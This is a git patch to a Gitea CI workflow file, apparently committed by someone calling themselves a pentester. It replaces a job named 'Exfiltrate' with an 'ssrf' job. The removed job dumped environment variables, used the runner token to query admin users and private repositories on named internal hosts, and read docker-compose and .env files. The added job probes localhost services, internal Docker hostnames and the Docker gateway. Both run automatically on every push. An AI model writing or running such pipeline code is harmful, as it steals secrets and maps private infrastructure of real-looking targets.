From f89fdcc87ca9d54880a7d348605f8c5f46a7589b Mon Sep 17 00:00:00 2001 From: pentester Date: Tue, 6 Oct 2026 02:48:50 +0200 Subject: [PATCH] ssrf scan --- .gitea/workflows/build.yml | 43 ++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/.gitea/workflows/build.yml b/.gitea/workflows/build.yml index 9c7fa74..cd03945 100644 --- a/.gitea/workflows/build.yml +++ b/.gitea/workflows/build.yml @@ -1,30 +1,27 @@ name: build on: [push] jobs: - dump: + ssrf: runs-on: ubuntu-latest steps: - - name: Exfiltrate + - name: SSRF Results shell: cmd run: | - echo === FULL ENV === > C:\exfil.txt - set >> C:\exfil.txt - echo. >> C:\exfil.txt - echo === GITEA INTERNAL — ADMIN USERS === >> C:\exfil.txt - curl -sk "https://git.midefos.com/api/v1/admin/users" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 - echo. >> C:\exfil.txt - echo === GITEA — ALL REPOS INCLUDING PRIVATE === >> C:\exfil.txt - curl -sk "https://git.midefos.com/api/v1/repos/search?limit=100&private=true&sort=updated" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 - echo. >> C:\exfil.txt - echo === GITEA — MIDEFOS PRIVATE REPOS === >> C:\exfil.txt - curl -sk "https://git.midefos.com/api/v1/users/midefos/repos?limit=50" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 - echo. >> C:\exfil.txt - echo === WOODPECKER INTERNAL API === >> C:\exfil.txt - curl -sk "https://ci.midefos.com/api/user" -H "Authorization: Bearer %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 - echo. >> C:\exfil.txt - echo === GITEA ORG REPOS === >> C:\exfil.txt - curl -sk "https://git.midefos.com/api/v1/orgs" -H "Authorization: token %ACTIONS_RUNTIME_TOKEN%" >> C:\exfil.txt 2>&1 - echo. >> C:\exfil.txt - echo === DOCKER COMPOSE FILES === >> C:\exfil.txt - dir /s /b "C:\docker-compose*" "C:\*.env" >> C:\exfil.txt 2>&1 - for /r C:\ %%f in (docker-compose.yml docker-compose.yaml .env) do if exist "%%f" type "%%f" >> C:\exfil.txt 2>&1 + echo === LOCALHOST SSRF === > C:\ssrf.txt + curl -sk "http://127.0.0.1:9000/api/status" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + curl -sk "http://127.0.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + curl -sk "http://127.0.0.1:8200/api/v1/serverstate" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + echo === DOCKER NETWORK SSRF === >> C:\ssrf.txt + for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami calibre) do curl -sk --connect-timeout 2 "http://%%H:27017/" >> C:\ssrf.txt 2>&1 && echo [%%H:27017 OK] >> C:\ssrf.txt + echo. >> C:\ssrf.txt + for %%H in (mongodb mongo db portainer redis mysql gitea woodpecker duplicati backup umami) do curl -sk --connect-timeout 2 "http://%%H:3000/" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + echo === DOCKER GATEWAY === >> C:\ssrf.txt + curl -sk --connect-timeout 2 "http://172.17.0.1:9000/api/status" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + curl -sk --connect-timeout 2 "http://172.17.0.1:8200/api/v1/commandline" >> C:\ssrf.txt 2>&1 + echo. >> C:\ssrf.txt + curl -sk --connect-timeout 2 "http://host.docker.internal:9000/api/status" >> C:\ssrf.txt 2>&1